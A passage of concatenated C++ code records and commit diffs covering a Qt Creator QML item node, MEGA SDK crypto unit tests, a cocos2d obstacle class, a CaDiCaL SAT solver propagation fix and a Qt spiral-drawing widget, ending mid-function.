modelNode.metaInfo().isValid() && isItemOrWindow(modelNode);\n}\n\nbool QmlItemNode::isRootNode() const\n{\n    return modelNode().isValid() && modelNode().isRootNode();\n}\n\nQStringList QmlModelStateGroup::names() const\n{\n    QStringList returnList;\n\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState::isValidQmlModelState(node))\n                returnList.append(QmlModelState(node).name());\n        }\n    }\n    return returnList;\n}\n\n\/**\n  \\brief Returns list of states (without 'base state').\n  The list contains all states defined by this item.\n  *\/\nQmlModelStateGroup QmlItemNode::states() const\n{\n    if (isValid())\n        return QmlModelStateGroup(modelNode());\n    else\n        return QmlModelStateGroup();\n}\n\nQList<QmlItemNode> QmlItemNode::children() const\n{\n    QList<ModelNode> childrenList;\n\n    if (isValid()) {\n\n        if (modelNode().hasNodeListProperty(\"children\"))\n                childrenList.append(modelNode().nodeListProperty(\"children\").toModelNodeList());\n\n        if (modelNode().hasNodeListProperty(\"data\")) {\n            foreach (const ModelNode &node, modelNode().nodeListProperty(\"data\").toModelNodeList()) {\n                if (QmlItemNode::isValidQmlItemNode(node))\n                    childrenList.append(node);\n            }\n        }\n    }\n\n    return toQmlItemNodeList(childrenList);\n}\n\nQList<QmlObjectNode> QmlItemNode::resources() const\n{\n    QList<ModelNode> resourcesList;\n\n    if (isValid()) {\n\n        if (modelNode().hasNodeListProperty(\"resources\"))\n                resourcesList.append(modelNode().nodeListProperty(\"resources\").toModelNodeList());\n\n        if (modelNode().hasNodeListProperty(\"data\")) {\n            foreach (const ModelNode &node, modelNode().nodeListProperty(\"data\").toModelNodeList()) {\n                if (!QmlItemNode::isValidQmlItemNode(node))\n                    resourcesList.append(node);\n            }\n        }\n    }\n\n    return toQmlObjectNodeList(resourcesList);\n}\n\nQList<QmlObjectNode> QmlItemNode::defaultPropertyChildren() const\n{\n    QList<ModelNode> defaultPropertyChildrenList;\n\n    if (isValid()) {\n        if (modelNode().hasNodeListProperty(defaultProperty()))\n            defaultPropertyChildrenList.append(modelNode().nodeListProperty(defaultProperty()).toModelNodeList());\n    }\n\n    return toQmlObjectNodeList(defaultPropertyChildrenList);\n}\n\nQList<QmlObjectNode> QmlItemNode::allDirectSubNodes() const\n{\n    return toQmlObjectNodeList(modelNode().allDirectSubModelNodes());\n}\n\nQmlAnchors QmlItemNode::anchors() const\n{\n    return QmlAnchors(*this);\n}\n\nbool QmlItemNode::hasChildren() const\n{\n    if (modelNode().hasNodeListProperty(\"children\"))\n        return true;\n\n    return !children().isEmpty();\n}\n\nbool QmlItemNode::hasResources() const\n{\n    if (modelNode().hasNodeListProperty(\"resources\"))\n        return true;\n\n    return !resources().isEmpty();\n}\n\nbool QmlItemNode::instanceHasAnchors() const\n{\n    return anchors().instanceHasAnchors();\n}\n\nbool QmlItemNode::hasShowContent() const\n{\n    return nodeInstance().hasContent();\n}\n\nbool QmlItemNode::canReparent() const\n{\n    return QmlObjectNode::canReparent() && !anchors().instanceHasAnchors() && !instanceIsAnchoredBySibling();\n}\n\nbool QmlItemNode::instanceIsAnchoredBySibling() const\n{\n    return nodeInstance().isAnchoredBySibling();\n}\n\nbool QmlItemNode::instanceIsAnchoredByChildren() const\n{\n    return nodeInstance().isAnchoredByChildren();\n}\n\nbool QmlItemNode::instanceIsMovable() const\n{\n    return nodeInstance().isMovable();\n}\n\nbool QmlItemNode::instanceIsResizable() const\n{\n    return nodeInstance().isResizable();\n}\n\nbool QmlItemNode::instanceIsInLayoutable() const\n{\n     return nodeInstance().isInLayoutable();\n}\n\nbool QmlItemNode::instanceHasRotationTransform() const\n{\n    return nodeInstance().transform().type() > QTransform::TxScale;\n}\n\nQRectF  QmlItemNode::instanceBoundingRect() const\n{\n    return QRectF(QPointF(0, 0), nodeInstance().size());\n}\n\nQRectF QmlItemNode::instancePaintedBoundingRect() const\n{\n    return nodeInstance().boundingRect();\n}\n\nQRectF QmlItemNode::instanceContentItemBoundingRect() const\n{\n    return nodeInstance().contentItemBoundingRect();\n}\n\nQTransform  QmlItemNode::instanceTransform() const\n{\n    return nodeInstance().transform();\n}\n\nQTransform QmlItemNode::instanceTransformWithContentTransform() const\n{\n    return nodeInstance().transform() * nodeInstance().contentTransform();\n}\n\nQTransform QmlItemNode::instanceTransformWithContentItemTransform() const\n{\n    return nodeInstance().transform() * nodeInstance().contentItemTransform();\n}\n\nQTransform QmlItemNode::instanceSceneTransform() const\n{\n    return nodeInstance().sceneTransform();\n}\n\nQTransform QmlItemNode::instanceSceneContentItemTransform() const\n{\n    return nodeInstance().sceneTransform() * nodeInstance().contentItemTransform();\n}\n\nQPointF QmlItemNode::instanceScenePosition() const\n{\n    if (hasInstanceParentItem())\n        return instanceParentItem().instanceSceneTransform().map(nodeInstance().position());\n     else if (modelNode().hasParentProperty() && QmlItemNode::isValidQmlItemNode(modelNode().parentProperty().parentModelNode()))\n        return QmlItemNode(modelNode().parentProperty().parentModelNode()).instanceSceneTransform().map(nodeInstance().position());\n\n    return QPointF();\n}\n\nQPointF QmlItemNode::instancePosition() const\n{\n    return nodeInstance().position();\n}\n\nQSizeF QmlItemNode::instanceSize() const\n{\n    return nodeInstance().size();\n}\n\nint QmlItemNode::instancePenWidth() const\n{\n    return nodeInstance().penWidth();\n}\n\nbool QmlItemNode::instanceIsRenderPixmapNull() const\n{\n    return nodeInstance().renderPixmap().isNull();\n}\n\nvoid QmlItemNode::paintInstance(QPainter *painter)\n{\n    if (nodeInstance().isValid())\n        nodeInstance().paint(painter);\n}\n\nvoid QmlItemNode::selectNode()\n{\n    modelNode().selectNode();\n}\n\nvoid QmlItemNode::deselectNode()\n{\n    modelNode().deselectNode();\n}\n\nbool QmlItemNode::isSelected() const\n{\n    return modelNode().isSelected();\n}\n\nQList<QmlModelState> QmlModelStateGroup::allStates() const\n{\n    QList<QmlModelState> returnList;\n\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState::isValidQmlModelState(node))\n                returnList.append(node);\n        }\n    }\n    return returnList;\n}\n\nTypeName QmlItemNode::simplifiedTypeName() const\n{\n    return modelNode().simplifiedTypeName();\n}\n\nuint qHash(const QmlItemNode &node)\n{\n    return qHash(node.modelNode());\n}\n\nQmlModelState QmlModelStateGroup::addState(const QString &name)\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n\n    PropertyListType propertyList;\n    propertyList.append(qMakePair(PropertyName(\"name\"), QVariant(name)));\n\n    ModelNode newState = QmlObjectNode(modelNode()).qmlModelView()->createQmlState(propertyList);\n    modelNode().nodeListProperty(\"states\").reparentHere(newState);\n\n    return newState;\n}\n\nvoid QmlModelStateGroup::removeState(const QString &name)\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (state(name).isValid())\n        state(name).modelNode().destroy();\n}\n\nQmlModelState QmlModelStateGroup::state(const QString &name) const\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState(node).name() == name)\n                return node;\n        }\n    }\n    return QmlModelState();\n}\n\nQList<ModelNode> toModelNodeList(const QList<QmlItemNode> &qmlItemNodeList)\n{\n    QList<ModelNode> modelNodeList;\n\n    foreach (const QmlItemNode &qmlItemNode, qmlItemNodeList)\n        modelNodeList.append(qmlItemNode.modelNode());\n\n    return modelNodeList;\n}\n\nQList<QmlItemNode> toQmlItemNodeList(const QList<ModelNode> &modelNodeList)\n{\n    QList<QmlItemNode> qmlItemNodeList;\n\n    foreach (const ModelNode &modelNode, modelNodeList) {\n        if (QmlItemNode::isValidQmlItemNode(modelNode))\n            qmlItemNodeList.append(modelNode);\n    }\n\n    return qmlItemNodeList;\n}\n\nconst QList<QmlItemNode> QmlItemNode::allDirectSubModelNodes() const\n{\n    return toQmlItemNodeList(modelNode().allDirectSubModelNodes());\n}\n\nconst QList<QmlItemNode> QmlItemNode::allSubModelNodes() const\n{\n    return toQmlItemNodeList(modelNode().allSubModelNodes());\n}\n\nbool QmlItemNode::hasAnySubModelNodes() const\n{\n    return modelNode().hasAnySubModelNodes();\n}\n\n} \/\/QmlDesigner\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file tests\/tests.cpp\n * @brief Mega SDK main test file\n *\n * (c) 2013 by Mega Limited, Wellsford, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#include \"mega.h\"\n#include \"gtest\/gtest.h\"\n\nusing namespace mega;\nusing ::testing::InitGoogleTest;\nusing ::testing::Test;\nusing ::testing::TestCase;\nusing ::testing::TestInfo;\nusing ::testing::TestPartResult;\nusing ::testing::UnitTest;\n\nbool debug;\n\nTEST(JSON, storeobject) {\n    std::string in_str(\"Test\");\n    JSON j;\n    j.storeobject(&in_str);\n}\n\n\/\/ Test 64-bit int serialization\/unserialization\nTEST(Serialize64, serialize) {\n    uint64_t in = 0xDEADBEEF;\n    uint64_t out;\n    byte buf[sizeof in];\n\n    Serialize64::serialize(buf, in);\n    ASSERT_GT(Serialize64::unserialize(buf, sizeof buf, &out), 0);\n    ASSERT_EQ(in, out);\n}\n\nint main (int argc, char *argv[])\n{\n    InitGoogleTest(&argc, argv);\n    return RUN_ALL_TESTS();\n}\n<commit_msg>Unit tests<commit_after>\/**\n * @file tests\/tests.cpp\n * @brief Mega SDK main test file\n *\n * (c) 2013 by Mega Limited, Wellsford, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#include \"mega.h\"\n#include \"gtest\/gtest.h\"\n\nusing namespace mega;\nusing ::testing::InitGoogleTest;\nusing ::testing::Test;\nusing ::testing::TestCase;\nusing ::testing::TestInfo;\nusing ::testing::TestPartResult;\nusing ::testing::UnitTest;\n\nbool debug;\n\nTEST(JSON, storeobject)\n{\n    std::string in_str(\"Test\");\n    JSON j;\n    j.storeobject(&in_str);\n}\n\n\/\/ Test 64-bit int serialization\/unserialization\nTEST(Serialize64, serialize)\n{\n    uint64_t in = 0xDEADBEEF;\n    uint64_t out;\n    byte buf[sizeof in];\n\n    Serialize64::serialize(buf, in);\n    ASSERT_GT(Serialize64::unserialize(buf, sizeof buf, &out), 0);\n    ASSERT_EQ(in, out);\n}\n\n\/\/ Test encryption\/decryption using AES in mode GCM\n\/\/ (test vectors from 'tlvstore_test.js', in Webclient)\nTEST(CryptoPP, AES_GCM)\n{\n\/\/    string keyStr = \"dGQhii+B7+eLLHRiOA690w==\";   \/\/ Base64\n    string keyStr = \"dGQhii-B7-eLLHRiOA690w\";     \/\/ Base64 URL encoding\n    unsigned keyLen = SymmCipher::KEYLENGTH;\n    byte keyBytes[keyLen];\n    keyLen = Base64::atob(keyStr.data(), keyBytes, keyLen);\n\n    string ivStr = \"R8q1njARXS7urWv3\";\n    unsigned ivLen = 12;\n    byte ivBytes[ivLen];\n    ivLen = Base64::atob(ivStr.data(), ivBytes, ivLen);\n\n    unsigned tagLen = 16;\n\n    string plainStr = \"dGQhwoovwoHDr8OnwossdGI4DsK9w5M\";\n    unsigned plainLen = plainStr.length();\n    byte plainBytes[plainLen];\n    plainLen = Base64::atob(plainStr.data(), plainBytes, plainLen);\n    string plainText((const char*)plainBytes, plainLen);\n\n    string cipherStr = \"L3zqVYAOsRk7zMg2KsNTVShcad8TjIQ7umfsvia21QO0XTj8vaeR\";\n    unsigned cipherLen = cipherStr.length();\n    byte cipherBytes[cipherLen];\n    cipherLen = Base64::atob(cipherStr.data(), cipherBytes, cipherLen);\n    string cipherText((const char*)cipherBytes, cipherLen);\n\n    SymmCipher key;\n    key.setkey(keyBytes, SymmCipher::KEYLENGTH);\n\n    string result;\n\n    \/\/ Test AES_GCM_12_16 encryption\n    result.clear();\n    key.gcm_encrypt(&plainText, ivBytes, ivLen, tagLen, &result);\n\n    ASSERT_STREQ(result.data(), cipherText.data()) << \"GCM encryption: cipher text doesn't match the expected value\";\n\n\n    \/\/ Test AES_GCM_12_16 decryption\n    result.clear();\n    key.gcm_decrypt(&cipherText, ivBytes, ivLen, tagLen, &result);\n\n    ASSERT_STREQ(result.data(), plainText.data()) << \"GCM decryption: plain text doesn't match the expected value\";\n}\n\n\/\/ Test encryption\/decryption using AES in mode CCM\n\/\/ (test vectors from 'tlvstore_test.js', in Webclient)\nTEST(CryptoPP, AES_CCM)\n{\n    byte keyBytes[] = {\n        0x0f, 0x0e, 0x0d, 0x0c,\n        0x0b, 0x0a, 0x09, 0x08,\n        0x07, 0x06, 0x05, 0x04,\n        0x03, 0x02, 0x01, 0x00 };\n\n    byte ivBytes[] = {\n        0x00, 0x01, 0x02, 0x03,\n        0x04, 0x05, 0x06, 0x07,\n        0x08, 0x09, 0x0a, 0x0b };\n\n    unsigned tagLen = 16;\n\n    byte plainBytes[] = { 0x34, 0x32 };     \/\/ \"42\" in hexadecimal\n    string plainText((const char*)plainBytes, sizeof plainBytes);\n\n    byte cipherBytes[] = {\n        0x28, 0xbe, 0x1a, 0xc7,\n        0xb4, 0x3d, 0x88, 0x68,\n        0x86, 0x9b, 0x9a, 0x45,\n        0xd3, 0xde, 0x43, 0x6c,\n        0xd0, 0xcc };\n\n    string cipherText((const char*)cipherBytes, sizeof cipherBytes);\n\n    SymmCipher key;\n    key.setkey(keyBytes, sizeof keyBytes);\n\n    string result;\n\n    \/\/ Test AES_CCM_12_16 encryption\n    result.clear();\n    key.ccm_encrypt(&plainText, ivBytes, sizeof ivBytes, tagLen, &result);\n\n    ASSERT_STREQ(result.data(), cipherText.data()) << \"CCM encryption: cipher text doesn't match the expected value\";\n\n\n    \/\/ Test AES_CCM_12_16 decryption\n    result.clear();\n    key.ccm_decrypt(&cipherText, ivBytes, sizeof ivBytes, tagLen, &result);\n\n    ASSERT_STREQ(result.data(), plainText.data()) << \"CCM decryption: plain text doesn't match the expected value\";\n}\n\nint main (int argc, char *argv[])\n{\n    InitGoogleTest(&argc, argv);\n    return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Obstacle.h\"\n#include \"MoveAbleElemTypeDefines.h\"\n\nUSING_NS_CC;\n\nObstacle::Obstacle()\n{\n\t_iElemTypeId = OBSTACLE__ID;\n}\n\nObstacle::~Obstacle()\n{\n}\n\nbool Obstacle::init(const std::string &szModelPath, const std::string &szTexturePath)\n{\n\n\t\n\tCC_SAFE_RELEASE_NULL(_pSprite);\n\t_pSprite = Sprite3D::create(szModelPath, szTexturePath);\n\tCC_SAFE_RETAIN(_pSprite);\n\t_pSprite->setLocalZOrder(100);\/\/ \/\/todo \n\t\/\/_pSprite->setRotation3D(Vec3(-90, 0, 90));\n\t_pSprite->setScale(0.1f);\n\n\tthis->setMoveSpeed(1.0f*60.0f);\n\n\t_bIsSpriteInit = true;\n\n\treturn true;\n}\n\nvoid Obstacle::update(float dt)\n{\n\tauto moveStep = this->getMoveSpeed() * dt * this->getMoveDirNormal();\n\t_pSprite->setPosition3D(_pSprite->getPosition3D() + moveStep);\n}\n\nvoid Obstacle::beHitted(MoveAbleElem * pMoveAbleElem)\n{\n\t\/\/todo\n\t\/\/ӵͣ򲥷Ч\n\n\t\/\/ң򲻴\n}\n\nvoid Obstacle::recycleSelf(void)\n{\n\t_pSprite->setLocalZOrder(100);\/\/ \/\/todo \n\t\/\/_pSprite->setRotation3D(Vec3(-90, 0, 90));\n\t_pSprite->setScale(0.1f);\n\n\tthis->setMoveSpeed(1.0f*60.0f);\n\n\t_bIsSpriteInit = true;\n\n\tMoveAbleElem::recycleSelf();\n}<commit_msg>setup a action to replace being updated on moving<commit_after>#include \"Obstacle.h\"\n#include \"MoveAbleElemTypeDefines.h\"\n\nUSING_NS_CC;\n\nObstacle::Obstacle()\n{\n\t_iElemTypeId = OBSTACLE__ID;\n}\n\nObstacle::~Obstacle()\n{\n}\n\nbool Obstacle::init(const std::string &szModelPath, const std::string &szTexturePath)\n{\n\n\t\n\tCC_SAFE_RELEASE_NULL(_pSprite);\n\t_pSprite = Sprite3D::create(szModelPath, szTexturePath);\n\tCC_SAFE_RETAIN(_pSprite);\n\t_pSprite->setLocalZOrder(100);\/\/ \/\/todo \n\t\/\/_pSprite->setRotation3D(Vec3(-90, 0, 90));\n\t_pSprite->setScale(0.1f);\n\n\tthis->setMoveSpeed(1.0f*60.0f);\n\n\tCC_SAFE_RELEASE_NULL(_pAction);\n\t\/\/Ϊyת90\n\t_pAction = RepeatForever::create(MoveBy::create(2.0f, this->getMoveSpeed() * 2.0f * this->getMoveDirNormal()));\n\tCC_SAFE_RETAIN(_pAction);\n\t_pSprite->runAction(_pAction);\n\n\t_bIsSpriteInit = true;\n\n\treturn true;\n}\n\nvoid Obstacle::update(float dt)\n{\n}\n\nvoid Obstacle::beHitted(MoveAbleElem * pMoveAbleElem)\n{\n\t\/\/todo\n\t\/\/ӵͣ򲥷Ч\n\n\t\/\/ң򲻴\n}\n\nvoid Obstacle::recycleSelf(void)\n{\n\t_pSprite->setLocalZOrder(100);\/\/ \/\/todo \n\t\/\/_pSprite->setRotation3D(Vec3(-90, 0, 90));\n\t_pSprite->setScale(0.1f);\n\n\tthis->setMoveSpeed(1.0f*60.0f);\n\n\t_bIsSpriteInit = true;\n\n\tMoveAbleElem::recycleSelf();\n}<|endoftext|>"}
{"text":"<commit_before>#include \"internal.hpp\"\n\n#include \"clause.hpp\"\n#include \"iterator.hpp\"\n#include \"macros.hpp\"\n#include \"util.hpp\"\n\nnamespace CaDiCaL {\n\nvoid Internal::assign (int lit, Clause * reason, int other) {\n  int idx = vidx (lit);\n  assert (!vals[idx]);\n  Var & v = var (idx);\n  if (!(v.level = level)) learn_unit_clause (lit);\n  v.reason = reason;\n  v.other = other;\n  vals[-idx] = -(vals[idx] = phases[idx] = sign (lit));\n  assert (val (lit) > 0);\n  v.trail = (int) trail.size ();\n  trail.push_back (lit);\n#ifdef LOGGING\n  if (other) LOG (\"assign %d binary reason %d %d\", lit, lit, other);\n  else LOG (reason, \"assign %d\", lit);\n#endif\n  \/\/ As 'assign' is called most of the time from 'propagate' below and then\n  \/\/ the watches of '-lit' are accessed next during propagation it is wise\n  \/\/ to tell the processor to prefetch the memory of those watches.  This\n  \/\/ seems to give consistent speed-ups (both with 'g++' and 'clang++') in\n  \/\/ the order of 5%.  Even though this is a rather low-level optimization\n  \/\/ it is confined to the next line (and these comments), so we keep it.\n  \/\/\n  __builtin_prefetch (&*(watches (-lit).begin ()), 1);\n}\n\n\/\/ The 'propagate' function is usually the hot-spot of a CDCL SAT solver.\n\/\/ The 'trail' stack saves assigned variables and is used here as BFS queue\n\/\/ for checking clauses with the negation of assigned variables for being in\n\/\/ conflict or whether they produce additional assignments (units).  This\n\/\/ version of 'propagate' uses lazy watches and keeps two watched literals\n\/\/ at the beginning of the clause.  We also use 'blocking literals' to\n\/\/ reduce the number of times clauses have to be visited.  The watches know\n\/\/ if a watched clause is binary, in which case it never hast to be visited.\n\/\/ If a binary clause is falsified we continue propagating.\n\nbool Internal::propagate () {\n  assert (!unsat);\n  START (propagate);\n  while (!conflict && propagated < trail.size ()) {\n    stats.propagations++;\n    const int lit = -trail[propagated++];\n    LOG (\"propagating %d\", -lit);\n    Watches & ws = watches (lit);\n    const_watch_iterator i = ws.begin ();\n    watch_iterator j = ws.begin ();\n    while (i != ws.end ()) {\n      const Watch w = *j++ = *i++;\n      const int b = val (w.blit);\n      if (b > 0) continue;\n      if (w.binary) {\n        if (b < 0) conflict = w.clause;\n        else if (!b) assign (w.blit, 0, lit);\n      } else {\n        literal_iterator lits = w.clause->begin ();\n        if (lits[0] == lit) swap (lits[0], lits[1]);\n        const int u = val (lits[0]);\n        if (u > 0) j[-1].blit = lits[0];\n        else {\n          const_literal_iterator end = w.clause->end ();\n          literal_iterator k = lits + 2;\n          int v = -1;\n          while (k != end && (v = val (*k)) < 0) k++;\n          if (v > 0) j[-1].blit = *k;\n          else if (!v) {\n            LOG (w.clause, \"unwatch %d in\", *k);\n            swap (lits[1], *k);\n            watch_literal (lits[1], lit, false, w.clause);\n            j--;\n          } else if (!u) assign (lits[0], w.clause);\n          else { conflict = w.clause; break; }\n        }\n      }\n    }\n    while (i != ws.end ()) *j++ = *i++;\n    ws.resize (j - ws.begin ());\n  }\n  if (conflict) { stats.conflicts++; LOG (conflict, \"conflict\"); }\n  STOP (propagate);\n  return !conflict;\n}\n\n};\n<commit_msg>stop propagating large if there was a binary conflict<commit_after>#include \"internal.hpp\"\n\n#include \"clause.hpp\"\n#include \"iterator.hpp\"\n#include \"macros.hpp\"\n#include \"util.hpp\"\n\nnamespace CaDiCaL {\n\nvoid Internal::assign (int lit, Clause * reason, int other) {\n  int idx = vidx (lit);\n  assert (!vals[idx]);\n  Var & v = var (idx);\n  if (!(v.level = level)) learn_unit_clause (lit);\n  v.reason = reason;\n  v.other = other;\n  vals[-idx] = -(vals[idx] = phases[idx] = sign (lit));\n  assert (val (lit) > 0);\n  v.trail = (int) trail.size ();\n  trail.push_back (lit);\n#ifdef LOGGING\n  if (other) LOG (\"assign %d binary reason %d %d\", lit, lit, other);\n  else LOG (reason, \"assign %d\", lit);\n#endif\n  \/\/ As 'assign' is called most of the time from 'propagate' below and then\n  \/\/ the watches of '-lit' are accessed next during propagation it is wise\n  \/\/ to tell the processor to prefetch the memory of those watches.  This\n  \/\/ seems to give consistent speed-ups (both with 'g++' and 'clang++') in\n  \/\/ the order of 5%.  Even though this is a rather low-level optimization\n  \/\/ it is confined to the next line (and these comments), so we keep it.\n  \/\/\n  __builtin_prefetch (&*(watches (-lit).begin ()), 1);\n}\n\n\/\/ The 'propagate' function is usually the hot-spot of a CDCL SAT solver.\n\/\/ The 'trail' stack saves assigned variables and is used here as BFS queue\n\/\/ for checking clauses with the negation of assigned variables for being in\n\/\/ conflict or whether they produce additional assignments (units).  This\n\/\/ version of 'propagate' uses lazy watches and keeps two watched literals\n\/\/ at the beginning of the clause.  We also use 'blocking literals' to\n\/\/ reduce the number of times clauses have to be visited.  The watches know\n\/\/ if a watched clause is binary, in which case it never hast to be visited.\n\/\/ If a binary clause is falsified we continue propagating.\n\nbool Internal::propagate () {\n  assert (!unsat);\n  START (propagate);\n  while (!conflict && propagated < trail.size ()) {\n    stats.propagations++;\n    const int lit = -trail[propagated++];\n    LOG (\"propagating %d\", -lit);\n    Watches & ws = watches (lit);\n    const_watch_iterator i = ws.begin ();\n    watch_iterator j = ws.begin ();\n    while (i != ws.end ()) {\n      const Watch w = *j++ = *i++;\n      const int b = val (w.blit);\n      if (b > 0) continue;\n      if (w.binary) {\n        if (b < 0) conflict = w.clause;\n        else if (!b) assign (w.blit, 0, lit);\n      } else if (!conflict) {\n        literal_iterator lits = w.clause->begin ();\n        if (lits[0] == lit) swap (lits[0], lits[1]);\n        const int u = val (lits[0]);\n        if (u > 0) j[-1].blit = lits[0];\n        else {\n          const_literal_iterator end = w.clause->end ();\n          literal_iterator k = lits + 2;\n          int v = -1;\n          while (k != end && (v = val (*k)) < 0) k++;\n          if (v > 0) j[-1].blit = *k;\n          else if (!v) {\n            LOG (w.clause, \"unwatch %d in\", *k);\n            swap (lits[1], *k);\n            watch_literal (lits[1], lit, false, w.clause);\n            j--;\n          } else if (!u) assign (lits[0], w.clause);\n          else { conflict = w.clause; break; }\n        }\n      } else break;\n    }\n    while (i != ws.end ()) *j++ = *i++;\n    ws.resize (j - ws.begin ());\n  }\n  if (conflict) { stats.conflicts++; LOG (conflict, \"conflict\"); }\n  STOP (propagate);\n  return !conflict;\n}\n\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <cmath>\n#include <iostream>\n\n#include <QPainter>\n#include <QPaintEvent>\n#include <QPoint>\n#include <QPointF>\n#include <QPolygonF>\n#include <QRect>\n#include <QStylePainter>\n#include <QVector>\n\n#include \"tattoo_canvas.h\"\n\nstatic double PI = 3.1415926535;\n\nstatic double deg2rad(double angle) {\n    return angle \/ 180.0 * PI;\n}\n\nstatic double rad2deg(double angle) {\n    return angle \/ PI * 180.0;\n}\n\nTattooCanvas::TattooCanvas(QWidget *parent) {\n    revolution = 180.0;\n    stroke = 1;\n    curveRadius = 30;\n    markingsVisible = false;\n\n    setMinimumSize(400, 400);\n}\n\nvoid TattooCanvas::setCurveRadius(int radius) {\n    this->curveRadius = radius;\n\n    update();\n}\n\nvoid TattooCanvas::setStroke(int stroke) {\n    this->stroke = stroke;\n\n    std::cout << \"New stroke is \" << stroke << std::endl;\n\n    update();\n}\n\nvoid TattooCanvas::setMarkingsVisible(int enableMarkings) {\n    markingsVisible = enableMarkings == Qt::Checked;\n\n    update();\n}\n\ndouble TattooCanvas::computeSpiralRadius(double angle) {\n    double a = 0;\n    double b = (getRadius() + getOriginOffset() - a) \/ deg2rad(revolution);\n    return a + b * angle;\n    \n}\n\nQPointF TattooCanvas::convertToCartesian(double angle, double radius) {\n    return QPointF(std::cos(angle) * radius, std::sin(angle) * radius);\n\n}\n\nvoid TattooCanvas::paintEvent(QPaintEvent *event) {\n    QStylePainter painter(this);\n    QPen pen(Qt::black, stroke, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin);\n    painter.setPen(pen);\n    painter.setRenderHint(QPainter::Antialiasing);\n\n    int radius = (std::min(width(), height()) - (2 * Margin)) \/ 2;\n    QPoint center(width() \/ 2, height() \/ 2);\n    painter.drawEllipse(center, radius, radius);\n\n    if (markingsVisible) {\n        drawCustomLayer(&painter);\n    }\n    drawCircles(&painter);\n}\n\nvoid TattooCanvas::drawCircles(QPainter *painter) {\n    painter->translate(width() \/ 2.0, height() \/ 2.0);\n\n    double tHeight = std::sqrt(3.0 * std::pow((double) curveRadius, 2.0));\n    double y1 = 2.0 \/ 3.0 * tHeight;\n    double y2 = y1 - tHeight;\n\n    \/\/painter->drawEllipse(QPoint(0, y1), radius, radius);\n    painter->drawArc(0 - curveRadius, y1 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 60 * 16, 60 * 16);\n    \/\/painter->drawEllipse(QPointF(radius, y2), radius, radius);\n    painter->drawArc(0, y2 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 180 * 16, 60 * 16);\n    \/\/painter->drawEllipse(QPointF(-radius, y2), radius, radius);\n    painter->drawArc(0 - 2.0 * curveRadius, y2 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 0, -60 * 16);\n\n    painter->translate(0, y2);\n    int tatRadius = (std::min(width(), height()) - (2 * Margin)) \/ 2;\n    drawSpiral(painter, tatRadius - y2, 270);\n    \n    double xOffset = (1.0 \/ 3.0 * tHeight) * std::cos(deg2rad(30.0));\n    double yOffset = (1.0 \/ 3.0 * tHeight) * std::sin(deg2rad(30.0)); \n\n    painter->translate(xOffset, y1 - yOffset);\n    drawSpiral(painter, tatRadius - y2, 30);\n\n    painter->translate(-2.0 * xOffset, 0);\n    drawSpiral(painter, tatRadius - y2, 150);\n\n    painter->resetTransform();\n}\n\nvoid TattooCanvas::drawCustomLayer(QPainter *painter) {\n    painter->translate(width() \/ 2.0, height() \/ 2.0);\n    QPen originalPen = painter->pen();\n    painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n\n    double tHeight = std::sqrt(3.0 * std::pow((double) curveRadius, 2.0));\n    double y = 1.0 \/ 3.0 * tHeight;\n\n    int radius = curveRadius - (stroke \/ 2);\n    painter->translate(-curveRadius, -y);\n    painter->drawEllipse(QPoint(0, 0), radius, radius);\n    painter->drawPie(-radius, -radius, 2 * radius, 2 * radius, 0 * 16, -60 * 16);\n    painter->setPen(QPen(Qt::black, 5, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n    painter->drawPoint(0, 0); \n    painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n    \n    \/\/ Draw curve angle\n    painter->drawPie(-10, -10, 20, 20, 0 * 16, -60 * 16);\n    QChar phi(0x03D5);\n    int charWidth = painter->fontMetrics().width(phi);\n    int charHeight = painter->fontMetrics().height();\n    painter->drawText(charWidth, charHeight - 3, QString(phi));\n   \n    \/\/ Add visible theta & r guides\n    painter->translate(curveRadius, y);\n    painter->translate(0, 2 * y - tHeight);\n    painter->drawLine(0, 0, 0, -50);\n    painter->rotate(270);\n    painter->setPen(QPen(Qt::gray, 1, Qt::DashLine, Qt::RoundCap, Qt::RoundJoin));\n    int maxAngle = 120;\n    for (int angle = 30; angle <= maxAngle; angle += 10) {\n        double r = 